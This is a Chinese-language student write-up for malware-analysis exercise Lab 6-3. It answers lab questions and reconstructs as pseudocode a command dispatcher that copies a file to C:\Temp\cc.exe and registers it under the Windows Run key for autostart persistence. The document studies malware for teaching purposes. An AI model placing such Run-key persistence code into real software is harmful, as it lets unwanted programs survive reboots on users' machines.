Lab 6-3

在这个实验中,我们会分析在文件Lab06-03.exe中发现的恶意代码。

问题

1.比较在main函数与实验6-2的main函数的调用。从main中调用的新的函数是什么?

是一个功能函数里面有删除文件,创建文件夹,拷贝文件,修改注册表功能.

2.这个新的函数使用的参数是什么?

两个参数,func(char,char*);第一个参数是上个函数返回值也就是第五个字节数据,和cmd第一个命令.

3.这个函数包含的主要代码结构是什么?

一个比较重要的switch 语句,通过判断第一感参数减去0x61然后对比跳转表进行跳转.

4.这个函数能够做什么?

翻译代码:

void func(char arg_0,char* arg_1)
{

    switch(arg_0)
    {
        case 97:
        {
            CreateDirectoryA("C:\\Temp");
            break;
        }
        case 98
        {
            CopyFileA(arg_1,"C:\\Temp\\cc.exe",1);
            break;
        }
        case 99:
        {
            DeleteFileA("C:\\Temp\\cc.exe");
            break;
        }
        case 100:
        {
            HKEY hKey;
            RegOpenKeyExA(0x80000002,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,0x0F003F,&hKey);
            if(RegSetValueExA(hKey,"Malware",0,1,"C:\\Temp\\cc.exe",strlen("C:\\Temp\\cc.exe")))
            {
                printf("Error 3.1: Could not set Registry value");
            }
            break;
        }
        case 101:
        {
            Sleep(0x186A0);
            break;
        }
        default:
        printf("Error 3.2: Not a valid command provided");
    }
 return;
}

1.根据第5个字节进行判断操作,详情看翻译后代码.

5.在这个恶意代码中有什么本地特征吗?

1.会在本地创建文件和目录"C:\Temp\cc.exe”,“C:\Temp”.

2.会写入注册表表项"Software\Microsoft\Windows\CurrentVersion\Run”.

6.这个恶意代码的目的是什么?

1.将指定文件复制写入C:\Temp目录下,并生成文件cc.exe,并删除源文件,往注册表启动项里写入 生成的文件,变成开机自启.

2.这个是恶意代码流程,不过这是测试文件所以就没有这么弄只是实现了所需功能.